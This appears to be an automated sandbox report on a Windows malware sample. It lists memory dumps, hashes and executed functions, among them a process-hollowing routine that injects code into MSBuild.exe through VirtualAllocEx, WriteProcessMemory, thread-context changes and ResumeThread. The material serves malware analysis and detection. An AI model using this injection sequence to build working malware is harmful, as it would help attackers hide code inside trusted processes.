Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 863bd47778356e32d4ad24ff8c9afe44ef7dca5f81cecaaac1693fffec82e3bf
Instruction ID: 8272f5f1ff9bd8b3dbbb3af57aa850b23504cb4c82ee8634a550a6711bce2a74
Opcode Fuzzy Hash: 863bd47778356e32d4ad24ff8c9afe44ef7dca5f81cecaaac1693fffec82e3bf
Instruction Fuzzy Hash: 8CE0CD3C580208B7CF26FB54D84BBCC77649B29745F14C117F821111959BF4A798DAD1

Analysis Process: 3a0398bc51.exePID: 6392, Parent PID: 1908COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	0.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 00AF519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00AF5110,00AF5100), ref: 00AF5334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00AF5347
Wow64GetThreadContext.KERNEL32(0000011C,00000000), ref: 00AF5365
ReadProcessMemory.KERNELBASE(00000120,?,00AF5154,00000004,00000000), ref: 00AF5389
VirtualAllocEx.KERNELBASE(00000120,?,?,00003000,00000040), ref: 00AF53B4
WriteProcessMemory.KERNELBASE(00000120,00000000,?,?,00000000,?), ref: 00AF540C
WriteProcessMemory.KERNELBASE(00000120,00400000,?,?,00000000,?,00000028), ref: 00AF5457
WriteProcessMemory.KERNELBASE(00000120,?,?,00000004,00000000), ref: 00AF5495
Wow64SetThreadContext.KERNEL32(0000011C,008A0000), ref: 00AF54D1
ResumeThread.KERNELBASE(0000011C), ref: 00AF54E0

Strings

CreateProcessW, xrefs: 00AF5250
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00AF5333
ReadProcessMemory, xrefs: 00AF5289
SetThreadContext, xrefs: 00AF52C2
VirtualAlloc, xrefs: 00AF5263
Load, xrefs: 00AF51DA
GetP, xrefs: 00AF521E
TerminateProcess, xrefs: 00AF53C3
ResumeThread, xrefs: 00AF52D8
GetThreadContext, xrefs: 00AF5276
ress, xrefs: 00AF5226
aryA, xrefs: 00AF51E2
WriteProcessMemory, xrefs: 00AF52AF
VirtualAllocEx, xrefs: 00AF529C

Memory Dump Source

Source File: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: ade5241038aee0ee48a861e43ecc30ae5da35fe0d0c6bd7b36bc44970a778272
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: D3B1E97664064AAFDB60CFA8CC80BEA73A5FF88714F158514EA0CAB341D774FA51CB94

Function 00AD1614 Relevance: 9.2, APIs: 6, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AD1098: _strlen.LIBCMT ref: 00AD10F9

CreateFileA.KERNELBASE ref: 00AD1675
GetFileSize.KERNEL32(00000000,00000000), ref: 00AD1685
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 00AD16AB
CloseHandle.KERNELBASE(00000000), ref: 00AD16BA
_strlen.LIBCMT ref: 00AD1705
CloseHandle.KERNEL32(00000000), ref: 00AD1805

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 18a29dee493d752dd84588e5efcc2ae3b6abca1fe05a2a10cb1da10d800d7c74
Instruction ID: 7048ca6a7df305613f544d4d427c9bb8d65c6ea69652562895cd212489f95f98
Opcode Fuzzy Hash: 18a29dee493d752dd84588e5efcc2ae3b6abca1fe05a2a10cb1da10d800d7c74
Instruction Fuzzy Hash: C951FDB1908340ABD700EF64DC84B6EBBE5BF98314F154A2EF48A97351E7349944CB62

Function 00AD155C Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AD1098: _strlen.LIBCMT ref: 00AD10F9

FreeConsole.KERNELBASE ref: 00AD158B

Part of subcall function 00AD123B: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 00AD12C7

VirtualProtect.KERNELBASE(00AF5011,00000549,00000040,?), ref: 00AD15D7
ExitProcess.KERNEL32 ref: 00AD160E

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ConsoleDispatcherExceptionExitFreeProcessProtectUserVirtual_strlen
String ID:
API String ID: 2898289550-0
Opcode ID: 2c3f72d071a201edacdc53dcbef3e7ff39d9d482adba76d8048caf581da86dee
Instruction ID: 8574171925b42774c459cc106dc53a07b305029e51c0361408acdd0ad6e587d3
Opcode Fuzzy Hash: 2c3f72d071a201edacdc53dcbef3e7ff39d9d482adba76d8048caf581da86dee
Instruction Fuzzy Hash: B311A771E001087BEB00BBE59D52BBFB778EF84710F444426F609A7381EA765D1287E1

Function 00AD123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 00AD12C7

Strings

[+], xrefs: 00AD12E1

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID: [+]
API String ID: 6842923-4228040803
Opcode ID: 2bfa1c8d66e027c9df583388ceb0a3055b706afa741760375e526efa48547fab
Instruction ID: e29bb377bc59316852062b97afb1a14a4c81cdf86bb1a76125454313c894bd1e
Opcode Fuzzy Hash: 2bfa1c8d66e027c9df583388ceb0a3055b706afa741760375e526efa48547fab
Instruction Fuzzy Hash: D831393150C3805FD722AB7468997FBBBD0ABBD318F18097DD8CA87343C2615446CB62

Function 00AE5283 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AE562D: GetConsoleOutputCP.KERNEL32(6482D5A3,00000000,00000000,?), ref: 00AE5690

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00ADBBF3,?), ref: 00AE5408
GetLastError.KERNEL32(?,?,00ADBBF3,?,00ADBE37,00000000,?,00000000,00ADBE37,?,?,?,00AF4628,0000002C,00ADBD23,?), ref: 00AE5412

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: d9b13a8c31d37ebe9ab28069a441e5c656dd3b7c7c871d5e650393ffe58b9ae9
Instruction ID: 47004c8045cb9d7a516c4ea9a82fa998c8b4709cabb51e3ea4fc887cde549052
Opcode Fuzzy Hash: d9b13a8c31d37ebe9ab28069a441e5c656dd3b7c7c871d5e650393ffe58b9ae9
Instruction Fuzzy Hash: C161C371C0068AAFDF11DFB9E984EFEBBBAAF09348F140155E900AB252D371D941CB60

Function 00AE5A5C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00AE53EE,00000000,00ADBE37,?,00000000,?,00000000), ref: 00AE5AF8
GetLastError.KERNEL32(?,00AE53EE,00000000,00ADBE37,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00ADBBF3), ref: 00AE5B1E

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: c03ea2025785dcfdc40854472e8ec97eb50ad7dbcaf0ecb88d176a64ff6f92c6
Instruction ID: e67156084cd15c389d9ee21e2ff4a3a68368c61bbfd4c5c966e45316f88d7501
Opcode Fuzzy Hash: c03ea2025785dcfdc40854472e8ec97eb50ad7dbcaf0ecb88d176a64ff6f92c6
Instruction Fuzzy Hash: A8219135E002599FCF15CF6AED809E9B7B9EF48345F2441A9E906D7211E630DE42CF60

Function 00ADFF89 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00ADFE78,00AF4948), ref: 00ADFFD5
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00ADFE78,00AF4948), ref: 00ADFFE7

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 1d46da7b80c74cd1ad02c311c4d665ba8b2dcc543a6e0d539f1e166f2b57323d
Instruction ID: f5211ba3c0e84d9541cfc333102043972ca0f4fcfe611598b107c7aa4843b1c1
Opcode Fuzzy Hash: 1d46da7b80c74cd1ad02c311c4d665ba8b2dcc543a6e0d539f1e166f2b57323d
Instruction Fuzzy Hash: 421184715047914ECB308B7E9C98B23BAA5A756330B38072BD1B7866F1C270D9C6D651

Function 00AD136E Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00AD1388

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 920af89cf5b2487f40335dfa0a20a39086bed31a27a8fc7976349f0cd090f435
Instruction ID: fd0a03db17000484bb001970415acb5d7cd89d8817d534b103c1239df3cd87d4
Opcode Fuzzy Hash: 920af89cf5b2487f40335dfa0a20a39086bed31a27a8fc7976349f0cd090f435
Instruction Fuzzy Hash: C251B1B13042049FC714DF6CC994B6A77E2EF88724F19866DE95ACB392D630ED05CB41

Function 00AD3C29 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95a6e40da93a5492c751e7ad22cc6b092d33600ce87f6787d5ce8341288081d
Instruction ID: d1fd725db0993da457c6503d00ef664756b8dd2608b5556ce3f611429dd3d776
Opcode Fuzzy Hash: c95a6e40da93a5492c751e7ad22cc6b092d33600ce87f6787d5ce8341288081d
Instruction Fuzzy Hash: A4319F7391011AAFCF14DFA8D8809EDB7B9BF09320B14462AE503E3390D731EA44CB91

Function 00AD3C1B Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: aa0a307cba0573e8ef4978dcbe18c614fec15b20489859264cd30724ec8c3e35
Instruction ID: 1ac21970bf431e81e207b1f935594866c0fb11c6a044796ffd35cdd44039b7ef
Opcode Fuzzy Hash: aa0a307cba0573e8ef4978dcbe18c614fec15b20489859264cd30724ec8c3e35
Instruction Fuzzy Hash: 58F0783760C2560ACF45CB7CEA663ACBB20FF86334B20816FC013D92C1CA024A54C712

Function 00ADE531 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00AD31E1,00AD186A,?,00AD60C1,00AD186C,00AD186A,?,?,?,00AD3181,00AD31E1,00AD186E,00AD186A,00AD186A,00AD186A), ref: 00ADE563

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b55a78eaa51b7eb2e0b70e26c698c8db8f2985db4e9a9330c48e170e657f2015
Instruction ID: e80ab50811d5af6d8f91827f7ae00cac7b3e511499412486d5e5feb399162790
Opcode Fuzzy Hash: b55a78eaa51b7eb2e0b70e26c698c8db8f2985db4e9a9330c48e170e657f2015
Instruction Fuzzy Hash: 57E0E53194151456DB30FBA6BC00B6A76589F017F4F150113AC679F3D1EB61CD0082B0

Non-executed Functions

Function 00AE3178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00AE2B49,00000002,00000000,?,?,?,00AE2B49,?,00000000), ref: 00AE3211
GetLocaleInfoW.KERNEL32(?,20001004,00AE2B49,00000002,00000000,?,?,?,00AE2B49,?,00000000), ref: 00AE323A
GetACP.KERNEL32(?,?,00AE2B49,?,00000000), ref: 00AE324F

Strings

ACP, xrefs: 00AE3196
OCP, xrefs: 00AE31CC

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 7b184daec28df42e8fe948c4990f9b51fcb61a841bc7b6f2298c7b159da4b17b
Instruction ID: aa22909bca8754e7e4f223558cb8679fd9a536521f2ab9921c51e2fd0db412b3
Opcode Fuzzy Hash: 7b184daec28df42e8fe948c4990f9b51fcb61a841bc7b6f2298c7b159da4b17b
Instruction Fuzzy Hash: 70217F33601180BADF34DFA6D90DBEB73A6AF64B50B668528EA4AD7110E732DF41D350

Function 00AE2A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00AE2B1B
IsValidCodePage.KERNEL32(00000000), ref: 00AE2B59
IsValidLocale.KERNEL32(?,00000001), ref: 00AE2B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00AE2BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00AE2BCF

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 11374447803f6e5a7fa401187b548e85c395266ebf8a94630912c6d2ea0c3623
Instruction ID: 2626ce6f794afc4ec5f9c3021cfabf90c9e51f127227b417cd3daaf1ac00ac36
Opcode Fuzzy Hash: 11374447803f6e5a7fa401187b548e85c395266ebf8a94630912c6d2ea0c3623
Instruction Fuzzy Hash: AF516F72A00255AFEF20DFA6CC85BBE77BCBF54700F144469A511EB150DBB09A41CB61

Function 00AE375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AE384A

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
